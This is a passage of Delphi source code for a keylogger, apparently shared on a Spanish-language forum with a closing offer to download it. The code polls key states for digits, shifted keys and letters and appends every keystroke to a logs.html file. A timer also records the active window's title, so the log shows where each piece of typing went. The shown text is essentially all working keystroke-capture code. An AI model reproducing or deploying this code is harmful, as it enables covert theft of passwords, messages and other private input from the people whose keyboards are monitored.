      savefile('logs.html', t_numeros_derecha[i]);
    end;
  end;

  for i := Low(n_numeros_izquierda) to High(n_numeros_izquierda) do
  begin
    Result := GetAsyncKeyState(StrToInt(n_numeros_izquierda[i]));
    If Result = -32767 then
    begin
      savefile('logs.html', t_numeros_izquierda[i]);
    end;
  end;

  // SHIFT

  if (GetAsyncKeyState(VK_SHIFT) <> 0) then
  begin

    for i := Low(n_shift) to High(n_shift) do
    begin
      Result := GetAsyncKeyState(StrToInt(n_shift[i]));
      If Result = -32767 then
      begin
        savefile('logs.html', t_shift[i]);
      end;
    end;

    for i := 65 to 90 do
    begin
      Result := GetAsyncKeyState(i);
      If Result = -32767 then
      Begin
        savefile('logs.html', Chr(i + 0));
      End;
    end;

  end;

  // MAYUS

  if (GetKeyState(20) = 0) then
  begin
    mayus := 32;
  end
  else
  begin
    mayus := 0;
  end;

  for i := 65 to 90 do
  begin
    Result := GetAsyncKeyState(i);
    If Result = -32767 then
    Begin
      savefile('logs.html', Chr(i + mayus));
    End;
  end;

end;

procedure TForm1.Timer2Timer(Sender: TObject);
var
  ventana1: array [0 .. 255] of Char;
  nombre1: string;

begin

  GetWindowText(GetForegroundWindow, ventana1, SizeOf(ventana1));

  nombre1 := ventana1;

  if not(nombre1 = Nombre2) then
  begin
    Nombre2 := nombre1;
    savefile('logs.html',
      '<hr style=color:#00FF00><h2><center>' + Nombre2 + '</h2></center><br>');
  end;

end;

//

end.

// The End ?

  
  Si lo quieren bajar lo pueden hacer de aca.